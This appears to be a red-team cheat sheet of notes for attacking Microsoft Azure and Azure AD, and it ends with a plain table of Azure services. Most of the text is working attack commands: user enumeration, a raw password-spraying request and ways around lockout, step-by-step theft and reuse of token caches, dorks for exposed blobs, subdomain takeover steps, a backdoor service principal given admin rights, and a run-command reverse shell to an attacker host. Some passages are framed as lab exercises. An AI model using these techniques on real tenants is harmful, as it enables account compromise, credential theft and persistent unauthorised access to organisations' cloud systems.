# Azure services list by domain
https://learn.microsoft.com/en-us/azure/security/fundamentals/azure-domains
# Tools
https://github.com/dirkjanm/ROADtools
https://github.com/dafthack/PowerMeta
https://github.com/NetSPI/MicroBurst
https://github.com/nccgroup/ScoutSuite
https://github.com/hausec/PowerZure
https://github.com/fox-it/adconnectdump
https://github.com/FSecureLABS/Azurite
https://github.com/mburrough/pentestingazureapps
https://github.com/Azure/Stormspotter
https://github.com/nccgroup/azucar
https://github.com/dafthack/MSOLSpray
https://github.com/BloodHoundAD/BloodHound
https://github.com/nccgroup/Carnivore
https://github.com/CrowdStrike/CRT
https://github.com/Kyuu-Ji/Awesome-Azure-Pentest
https://github.com/cyberark/blobhunter
https://github.com/Gerenios/AADInternals
https://github.com/prowler-cloud/prowler
- Check if company is using Azure AD:
https://login.microsoftonline.com/getuserrealm.srf?login=username@COMPANY.onmicrosoft.com&xml=1
- If NameSpaceType is "Managed", the company uses Azure AD
- Enumerate Azure AD emails
https://github.com/LMGsec/o365creeper
Auth methods:
• Password Hash Synchronization
◇ Azure AD Connect
◇ On-prem service synchronizes hashed user credentials to Azure
◇ User can authenticate directly to Azure services like O365 with their internal domain credential
• Pass Through Authentication
◇ Credentials stored only on-prem
◇ On-prem agent validates authentication requests to Azure AD
◇ Allows SSO to other Azure apps without creds stored in cloud
• Active Directory Federation Services (ADFS)
◇ Credentials stored only on-prem
◇ Federated trust is setup between Azure and on-prem AD to validate auth requests to the cloud
◇ For password attacks you would have to auth to the on-prem ADFS portal instead of Azure endpoints
• Certificate-based auth
◇ Client certs for authentication to API
◇ Certificate management in legacy Azure Service Management (ASM) makes it impossible to know who created a cert (persistence potential)
◇ Service Principals can be setup with certs to auth
• Conditional access policies
• Long-term access tokens
◇ Authentication to Azure with oAuth tokens
◇ Desktop CLI tools that can be used to auth store access tokens on disk
◇ These tokens can be reused on other MS endpoints
◇ We have a lab on this later!
• Legacy authentication portals
Recon:
• O365 Usage
◇ https://login.microsoftonline.com/getuserrealm.srf?login=username@acmecomputercompany.com&xml=1
◇ https://outlook.office365.com/autodiscover/autodiscover.json/v1.0/test@targetdomain.com?Protocol=Autodiscoverv1
• User enumeration on Azure can be performed at
https://login.Microsoft.com/common/oauth2/token
▪ This endpoint tells you if a user exists or not
◇ Detect invalid users while password spraying with:
▪ https://github.com/dafthack/MSOLSpray
◇ For on-prem OWA/EWS you can enumerate users with timing attacks (MailSniper)
• Auth 365 Recon:
(https://github.com/nyxgeek/o365recon
Microsoft Azure Storage:
• Microsoft Azure Storage is like Amazon S3
• Blob storage is for unstructured data
• Containers and blobs can be publicly accessible via access policies
• Predictable URL’s at core.windows.net
◇ storage-account-name.blob.core.windows.net
◇ storage-account-name.file.core.windows.net
◇ storage-account-name.table.core.windows.net
◇ storage-account-name.queue.core.windows.net
• The “Blob” access policy means anyone can anonymously read blobs, but can’t list the blobs in the container
• The “Container” access policy allows for listing containers and blobs
• Microburst https://github.com/NetSPI/MicroBurst
◇ Invoke-EnumerateAzureBlobs
◇ Brute forces storage account names, containers, and files
◇ Uses permutations to discover storage accounts
PS > Invoke-EnumerateAzureBlobs –Base
Password Attacks
• Password Spraying Microsoft Online (Azure/O365)
• Can spray https://login.microsoftonline.com
--
POST /common/oauth2/token HTTP/1.1
Accept: application/json
Content-Type: application/x-www-form-urlencoded
Host: login.microsoftonline.com
Content-Length: 195
Expect: 100-continue
Connection: close
resource=https%3A%2F%2Fgraph.windows.net&client_id=1b730954-1685-4b74-9bfd-
dac224a7b894&client_info=1&grant_type=password&username=user%40targetdomain.com&passwor
d=Winter2020&scope=openid
--
• MSOLSpray https://github.com/dafthack/MSOLSpray
◇ The script logs:
▪ If a user cred is valid
▪ If MFA is enabled on the account
▪ If a tenant doesn't exist
▪ If a user doesn't exist
▪ If the account is locked
▪ If the account is disabled
▪ If the password is expired
◇ https://docs.microsoft.com/en-us/azure/active-directory/develop/reference-aadsts-error-codes
Password protections & Smart Lockout
• Azure Password Protection – Prevents users from picking passwords with certain words like seasons, company name, etc.
• Azure Smart Lockout – Locks out auth attempts whenever brute force or spray attempts are detected.
◇ Can be bypassed with FireProx + MSOLSpray
◇ https://github.com/ustayready/fireprox
Phising session hijack
• Evilginx2 and Modlishka
◇ MitM frameworks for harvesting creds/sessions
◇ Can also evade 2FA by riding user sessions
• With a hijacked session we need to move fast
• Session timeouts can limit access
• Persistence is necessary
Steal Access Tokens
• Azure config files:
web.config
app.config
.cspkg
.publishsettings
• Azure Cloud Service Packages (.cspkg)
• Deployment files created by Visual Studio
• Possible other Azure service integration (SQL, Storage, etc.)
• Look through cspkg zip files for creds/certs
• Search Visual Studio Publish directory
\bin\debug\publish
• Azure Publish Settings files (.publishsettings)
◇ Designed to make it easier for developers to push code to Azure
◇ Can contain a Base64 encoded Management Certificate
◇ Sometimes cleartext credentials
◇ Open publishsettings file in text editor
◇ Save “ManagementCertificate” section into a new .pfx file
◇ There is no password for the pfx
◇ Search the user’s Downloads directory and VS projects
• Check %USERPROFILE&\.azure\ for auth tokens
• During an authenticated session with the Az PowerShell module a TokenCache.dat file gets generated in the %USERPROFILE%\.azure\ folder.
• Also search disk for other saved context files (.json)
• Multiple tokens can exist in the same context file
Post-Compromise
• What can we learn with a basic user?
• Subscription Info
• User Info
• Resource Groups
• Scavenging Runbooks for Creds
• Standard users can access Azure domain information and isn’t usually locked down
• Authenticated users can go to portal.azure.com and click Azure Active Directory
• O365 Global Address List has this info as well
• Even if portal is locked down PowerShell cmdlets will still likely work
• There is a company-wide setting that locks down the entire org from viewing Azure info via cmd line: Set-MsolCompanySettings – UsersPermissionToReadOtherUsersEnabled $false
Azure: CLI Access
• Azure Service Management (ASM or Azure “Classic”)
◇ Legacy and recommended to not use
• Azure Resource Manager (ARM)
◇ Added service principals, resource groups, and more
◇ Management Certs not supported
• PowerShell Modules
◇ Az, AzureAD & MSOnline
• Azure Cross-platform CLI Tools
◇ Linux and Windows client
Azure: Subscriptions
• Organizations can have multiple subscriptions
• A good first step is to determine what subscription you are in
• The subscription name is usually informative
• It might have “Prod”, or “Dev” in the title
• Multiple subscriptions can be under the same Azure AD directory (tenant)
• Each subscription can have multiple resource groups
Azure User Information
• Built-In Azure Subscription Roles
◇ Owner (full control over resource)
◇ Contributor (All rights except the ability to change permissions)
◇ Reader (can only read attributes)
◇ User Access Administrator (manage user access to Azure resources)
• Get the current user’s role assignement
PS> Get-AzRoleAssignment
• If the Azure portal is locked down it is still possible to access Azure AD user information via MSOnline cmdlets
• The below examples enumerate users and groups
PS> Import-Module MSOnline
PS> Connect-MsolService
Or
PS> $credential = Get-Credential
PS> Connect-MsolService -Credential $credential
PS> Get-MSolUser -All
PS> Get-MSolGroup –All
PS> Get-MSolGroupMember –GroupObjectId
PS> Get-MSolCompanyInformation
• Pipe Get-MSolUser –All to format list to get all user attributes
PS> Get-MSolUser –All | fl
Azure Resource Groups
• Resource Groups collect various services for easier management
• Recon can help identify the relationships between services such as WebApps and SQL
PS> Get-AzResource
PS> Get-AzResourceGroup
PS> Get-AzStorageAccount
Azure: Runbooks
• Azure Runbooks automate various tasks in Azure
• Require an Automation Account and can contain sensitive information like passwords
PS> Get-AzAutomationAccount
PS> Get-AzAutomationRunbook -AutomationAccountName -ResourceGroupName
• Export a runbook with:
PS> Export-AzAutomationRunbook -AutomationAccountName -ResourceGroupName -Name -OutputFolder .\Desktop\
Azure VMs:
PS> Get-AzVM
PS> $vm = Get-AzVM -Name "VM Name"
PS> $vm.OSProfile
PS> Invoke-AzVMRunCommand -ResourceGroupName $ResourceGroupName -VMName $VMName -CommandId RunPowerShellScript -ScriptPath ./powershell-script.ps1
Azure Virtual Networks:
PS> Get-AzVirtualNetwork
PS> Get-AzPublicIpAddress
PS> Get-AzExpressRouteCircuit
PS> Get-AzVpnConnection
# Quick 1-liner to search all Azure AD user attributes for passwords after auth'ing with Connect-MsolService:
$x=Get-MsolUser;foreach($u in $x){$p = @();$u|gm|%{$p+=$_.Name};ForEach($s in $p){if($u.$s -like "*password*"){Write("[*]"+$u.UserPrincipalName+"["+$s+"]"+" : "+$u.$s)}}}
# https://www.synacktiv.com/posts/pentest/azure-ad-introduction-for-red-teamers.html
# Removing Azure services
- Under Azure Portal -> Resource Groups
# Interesting metadata instance urls:
http://169.254.169.254/metadata/v1/maintenance
http://169.254.169.254/metadata/instance?api-version=2017-04-02
http://169.254.169.254/metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text
Traditional AD - Azure AD comparision
Basic Azure AD concepts and tips
- Source of authentication for Office 365, Azure Resource Manager, and anything else you integrate with it.
- Powershell interaction:
• MSOnline PowerShell module
• Focusses on Office 365
• Some Office 365 specific features
• AzureAD PowerShell module
• General Azure AD
• Different feature set
• Azure CLI / Az powershell module
• More focus on Azure Resource Manager
- Azure AD principals
• Users
• Devices
• Applications
- Azure AD roles
• RBAC Roles are only used for Azure Resource Manager
• Office 365 uses administrator roles exclusively
- Azure AD admin roles
• Global/Company administrator can do anything
• Limited administrator accounts
• Application Administrator
• Authentication Administrator
• Exchange Administrator
• Etc
• Roles are fixed
- Azure AD applications
• Documentation unclear
• Terminology different between documentation, APIs and Azure portal
• Complex permission system
• Most confusing part
• Examples:
• Microsoft Graph
• Azure Multi-Factor Auth Client
• Azure Portal
• Office 365 portal
• Azure ATP
• A default Office 365 Azure AD has about 200 service principals
(read: applications)
- App permissions
• Two types of privileges:
• Delegated permissions
• Require signed-in user present to utilize
• Application permissions
• Are assigned to the application, which can use them at any time
• These privileges are assigned to the service principal
• Every application defines permissions
• Can be granted to Service Principals
• Commonly used:
• Microsoft Graph permissions
• Azure AD Graph permissions
- Azure AD Sync Account
• Dump all on-premise password hashes (if PHS is enabled)
• Log in on the Azure portal (since it’s a user)
• Bypass conditional access policies for admin accounts
• Add credentials to service principals
• Modify service principals properties
If password hash sync is in use:
Compromised Azure AD connect Sync account = Compromised AD
• Encryption key is encrypted with DPAPI
• Decrypted version contains some blob with AES keys
• Uses AES-256 in CBC mode
Anyone with control over Service Principals can assign credentials to them and potentially escalate privileges.
Anyone who can edit properties* of the AZUREADSSOACC$ account, can impersonate any user in Azure AD using Kerberos (if no MFA)
Azure enum
# Must install
# https://github.com/Gerenios/AADInternals
# https://github.com/NetSPI/MicroBurst
# Get Tenant Name
https://login.microsoftonline.com/getuserrealm.srf?login=admin@COMPANY.onmicrosoft.com&xml=1
# Get Tenant ID with AADInternals
Get-AADIntTenantID -Domain COMPANY.onmicrosoft.com
# Get Tenant ID manually
https://login.microsoftonline.com/COMPANY.onmicrosoft.com/.well-known/openid-configuration
# Get Tenant Domains
Get-AADIntTenantDomains -Domain COMPANY.com
# Get valid email addresses
# https://github.com/Raikia/UhOh365
# Azure Services (MicroBurst)
Invoke-EnumerateAzureSubDomains -Base COMPANY -Verbose
# Azure Blobs (MicroBurst)
Invoke-EnumerateAzureBlobs -Base COMPANY
# Azure Users on Tenant (Az Module)
Get-AzureADUser -All $true
# Azure Groups on Tenant (Az Module)
Get-AzureADGroup -All $true
# Get user's read permissions on Azure Resources (Az Module)
Get-AzResource
# List Dynamic Groups (Az Module)
Get-AzureADMSGroup | ?{$_.GroupTypes -eq 'DynamicMembership'}
# List Membership group rules (Az Module)
Get-AzureADMSGroup | ?{$_.GroupTypes -eq 'DynamicMembership'} | select MembershipRule
Azure attacks examples
# Password spraying
https://github.com/dafthack/MSOLSpray/MSOLSpray.ps1
Create a text file with ten (10) fake users we will spray along with your own user account (YourAzureADUser@youraccount.onmicrosoft.com ). (Do not spray accounts you do not own. You may use my domain “glitchcloud.com” for generating fake target users) and save as userlist.txt
Import-Module .\MSOLSpray.ps1
Invoke-MSOLSpray -UserList .\userlist.txt -Password [the password you set for your test account]
# Access Token
PS> Import-Module Az
PS> Connect-AzAccount
or
PS> $credential = Get-Credential
PS>Connect-AzAccount -Credential $credential
PS> mkdir C:\Temp
PS> Save-AzContext -Path C:\Temp\AzureAccessToken.json
PS> mkdir “C:\Temp\Live Tokens”
# Auth
Connect-AzAccount
## Or this way sometimes gets around MFA restrictions
$credential = Get-Credential
Connect-AzAccount -Credential $credential
Open Windows Explorer and type %USERPROFILE%\.Azure\ and hit enter
• Copy TokenCache.dat & AzureRmContext.json to C:\Temp\Live Tokens
• Now close your authenticated PowerShell window!
Delete everything in %USERPROFILE%\.azure\
• Start a brand new PowerShell window and run:
PS> Import-Module Az
PS> Get-AzContext -ListAvailable
• You shouldn’t see any available contexts currently
• In your PowerShell window let’s manipulate the stolen TokenCache.dat and AzureRmContext.json files so we can import it into our PowerShell session
PS> $bytes = Get-Content "C:\Temp\Live Tokens\TokenCache.dat" -Encoding byte
PS> $b64 = [Convert]::ToBase64String($bytes)
PS> Add-Content "C:\Temp\Live Tokens\b64-token.txt" $b64
• Now let’s add the b64-token.txt to the AzureRmContext.json file.
• Open the C:\Temp\Live Tokens folder.
• Open AzureRmContext.json file in a notepad and find the line near the end of the file title “CacheData”. It should be null.
• Delete the word “null” on this line
• Where “null” was add two quotation marks (“”) and then paste the contents of b64-token.txt in between them.
• Save this file as C:\Temp\Live Tokens\StolenToken.json
• Let’s import the new token
PS> Import-AzContext -Profile 'C:\Temp\Live Tokens\StolenToken.json’
• We are now operating in an authenticated session to Azure
PS> $context = Get-AzContext
PS> $context.Account
• You can import the previously exported context (AzureAccessToken.json) the same way
# Azure situational awareness
• GOAL: Use the MSOnline and Az PowerShell modules to do basic enumeration of an Azure account post-compromise.
• In this lab you will authenticate to Azure using your Azure AD account you setup. Then, you will import the MSOnline and Az PowerShell modules and try out some of the various modules that assist in enumerating Azure resource usage.
• Start a new PowerShell window and import both the MSOnline and Az modules
PS> Import-Module MSOnline
PS> Import-Module Az
• Authenticate to each service with your Azure AD account:
PS> Connect-AzAccount
PS> Connect-MsolService
• First get some basic Azure information
PS> Get-MSolCompanyInformation
• Some interesting items here are
◇ UsersPermissionToReadOtherUsersEnabled
◇ DirSyncServiceAccount
◇ PasswordSynchronizationEnabled
◇ Address/phone/emails
• Next, we will start looking at the subscriptions associated with the account as well as look at the current context we are operating in. Look at the “Name” of the subscription and context for possible indication as to what it is associated with.
PS> Get-AzSubscription
PS> $context = Get-AzContext
PS> $context.Name
PS> $context.Account
• Enumerating the roles assigned to your user will help identify what permissions you might have on the subscription as well as who to target for escalation.
PS> Get-AzRoleAssignment
• List out the users on the subscription. This is the equivalent of “net users /domain” in on-prem AD
PS> Get-MSolUser -All
PS> Get-AzAdApplication
PS> Get-AzWebApp
PS> Get-AzSQLServer
PS> Get-AzSqlDatabase -ServerName $ServerName -ResourceGroupName $ResourceGroupName
PS> Get-AzSqlServerFirewallRule –ServerName $ServerName -ResourceGroupName $ResourceGroupName
PS> Get-AzSqlServerActiveDirectoryAdminstrator -ServerName $ServerName -ResourceGroupName $ResourceGroupName
• The user you setup likely doesn’t have any resources currently associated with it, but these commands will help to understand the specific resources a user you gain access to has.
PS> Get-AzResource
PS> Get-AzResourceGroup
• Choose a subscription
PS> Select-AzSubscription -SubscriptionID "SubscriptionID"
• There are many other functions.
• Use Get-Module to list out the other Az module groups
• To list out functions available within each module use the below command substituting the value of the “Name” parameter.
PS> Get-Module -Name Az.Accounts | Select-Object -ExpandProperty ExportedCommands
PS> Get-Module -Name MSOnline | Select-Object -ExpandProperty ExportedCommands
Azure Block Blobs (S3 equivalent) attacks
# Discovering with Google Dorks
site:*.blob.core.windows.net
site:*.blob.core.windows.net ext:xlsx | ext:csv "password"
# Discovering with Dns enumeration
python dnscan.py -d blob.core.windows.net -w subdomains-100.txt
# When you found one try with curl, an empty container respond with 400
# List containers
az storage container list --connection-string '<connection string>'
# List blobs in containers
az storage blob list --container-name <container name> --connection-string '<connection string>'
# Download blob from container
az storage blob download --container-name <container name> --name <file> --file /tmp/<file> --connection-string '<connection string>'
Azure subdomain takeovers
# Azure CloudApp: cloudapp.net
1 Check CNAME with dig pointing to cloudapp.net
2 Go to https://portal.azure.com/?quickstart=True#create/Microsoft.CloudService
3 Register unclaimed domain which CNAME is pointing
# Azure Websites: azurewebsites.net
1 Check CNAME with dig pointing to azurewebsites.net
2 Go to https://portal.azure.com/#create/Microsoft.WebSite
3 Register unclaimed domain which CNAME is pointing
4 Register domain on the Custom domains section of the dashboard
# Azure VM: cloudapp.azure.com
1 Check CNAME with dig pointing to *.region.cloudapp.azure.com
2 Registering a new VM in the same region with size Standard_B1ls (cheapest) with 80 and 443 open
3 Go to Configuration and set the domain name which CNAME is pointing
Other Azure Services
# Azure App Services Subdomain Takeover
- For target example.com you found users.example.com
- Go https://users.galaxybutter.com and got an error
- dig CNAME users.galaxybutter.com and get an Azure App Services probably deprecated or removed
- Creat an App Service and point it to the missing CNAME
- Add a custom domain to the App Service
- Show custom content
# Azure Run Command
# Feature that allows you to execute commands without requiring SSH or SMB/RDP access to a machine. This is very similar to AWS SSM.
az login
az login --use-device-code #Login
az group list #List groups
az vm list -g GROUP-NAME #List VMs inside group
#Linux VM
az vm run-command invoke -g GROUP-NAME -n VM-NAME --command-id RunShellScript --scripts "id"
#Windos VM
az vm run-command invoke -g GROUP-NAME -n VM-NAME --command-id RunPowerShellScript --scripts "whoami"
# Linux Reverse Shell Azure Command
az vm run-command invoke -g GROUP-NAME -n VM-NAME --command-id RunShellScript --scripts "bash -c \"bash -i >& /dev/tcp/ATTACKER-EXTERNAL-IP/9090 0>&1\""
# Azure SQL Databases
- MSSQL syntaxis
- Dorks: "database.windows.net" site:pastebin.com
# Azure AD commands
az ad sp list --all
az ad app list --all
# Azure metadata service
http://169.254.169.254/metadata/instance
https://github.com/microsoft/azureimds
Create Azure service principal as backdoor
$spn = New-AzAdServicePrincipal -DisplayName "WebService" -Role Owner
$spn
$BSTR = ::SecureStringToBSTR($spn.Secret)
$UnsecureSecret = ::PtrToStringAuto($BSTR)
$UnsecureSecret
$sp = Get-MsolServicePrincipal -AppPrincipalId <AppID>
$role = Get-MsolRole -RoleName "Company Administrator"
Add-MsolRoleMember -RoleObjectId $role.ObjectId -RoleMemberType ServicePrincipal -
RoleMemberObjectId $sp.ObjectId
#Enter the AppID as username and what was returned for $UnsecureSecret as the password
in the Get-Credential prompt
$cred = Get-Credential
Connect-AzAccount -Credential $cred -Tenant “tenant ID" -ServicePrincipal
Azure password reset
Azure Services Summary
Base services
Azure Service
Could be Called
Use this to...
Like AWS...
Virtual Machines
Servers
Move existing apps to the cloud without changing them. You manage the entire computer.
EC2
Cloud Services
Managed Virtual Machines
Run applications on virtual machines that you don't have to manage, but can partially manage.
Batch
Azure Distributed Processing
Work on a large chunk of data by divvying it up between a whole bunch of machines.
RemoteApp
Remote Desktop for Apps
Expose non-web apps to users. For example, run Excel on your iPad.
AppStream
Web Apps
Web Site Host
Run websites (.NET, Node.js, etc.) without managing anything extra. Scale automatically and easily.
Elastic Beanstalk
Mobile Apps
Mobile App Accelerator
Quickly get an app backend up and running.
Logic Apps
Visio for Doing Stuff
Chain steps together to get stuff done.
API Apps
API Host
Host your API's without any of the management overhead.
API Management
API Proxy
Expose an API and off-load things like billing, authentication, and caching.
API Gateway
Mobile
Azure Service
Could be Called
Use this to...
Like AWS...
Notification Hubs
Notification Blaster
Send notifications to all of your users, or groups of users based on things like zip code. All platforms.
SNS
Mobile Engagement
Mobile Psychic
Track what users are doing in your app, and customize experience based on this data.
Storage
Azure Service
Could be Called
Use this to...
Like AWS...
SQL Database
Azure SQL
Use the power of a SQL Server cluster without having to manage it.
RDS
Document DB
Azure NoSQL
Use an unstructured JSON database without having to manage it.
Dynamo DB
Redis Cache
Easy Cache
Cache files in memory in a scalable way.
Elasticache
Storage Blobs
Cloud File System
Store files, virtual disks, and build other storage services on top of.
S3
Azure Search
Index & Search
Add search capabilities to your website, or index data stored somewhere else.
CloudSearch
SQL Data Warehouse
Structured Report Database
Store all of your company's data in a structured format for reporting.
RedShift
Azure Data Lake
Unstructured Report Database
Store all of your company's data in any format for reporting.
HDInsight
Hosted Hadoop
Do Hadoopy things with massive amounts of data.
Machine Learning
Skynet
Train AI to predict the future using existing data. Examples include credit card fraud detection and Netflix movie recommendations.
Stream Analytics
Real-time data query
Look for patterns in data as it arrives.
Data Factory
Azure ETL
Orchestrate extract, transform, and load data processes.
Data Pipeline
Event Hubs
IoT Ingestor
Ingest data at ANY scale inexpensively.
Networking
Azure Service
Could be Called
Use this to...
Like AWS...
Virtual Network
Private Network
Put machines on the same, private network so that they talk to each other directly and privately. Expose services to the internet as needed.
ExpressRoute
Fiber to Azure
Connect privately over an insanely fast pipe to an Azure datacenter. Make your local network part of your Azure network.
Direct Connect
Load Balancer
Load Balancer
Split load between multiple services, and handle failures.
Traffic Manager
Datacenter Load Balancer
Split load between multiple datacenters, and handle datacenter outages.
DNS
DNS Provider
Run a DNS server so that your domain names map to the correct IP addresses.
Route53
VPN Gateway
Virtual Fiber to Azure
Connect privately to an Azure datacenter. Make your local network part of your Azure network.
Application Gateway
Web Site Proxy
Proxy all of your HTTP traffic. Host your SSL certs. Load balance with sticky sessions.
CDN
CDN
Make your sites faster and more scalable by putting your static files on servers around the world close to your end users.
Cloudfront
Media Services
Video Processor
Transcode video and distribute and manage it on the scale of the Olympics.
Elastic Transcoder
Management
Azure Service
Could be Called
Use this to...
Like AWS...
Azure Resource Manager
Declarative Configuration
Define your entire Azure architecture as a repeatable JSON file and deploy all at once.
CloudFormation
Developer
Azure Service
Could be Called
Use this to...
Like AWS...
Application Insights
App Analytics
View detailed information about how your apps (web, mobile, etc.) are used.
Mobile Analytics
Service Fabric
Cloud App Framework
Build a cloud optimized application that can scale and handle failures inexpensively.
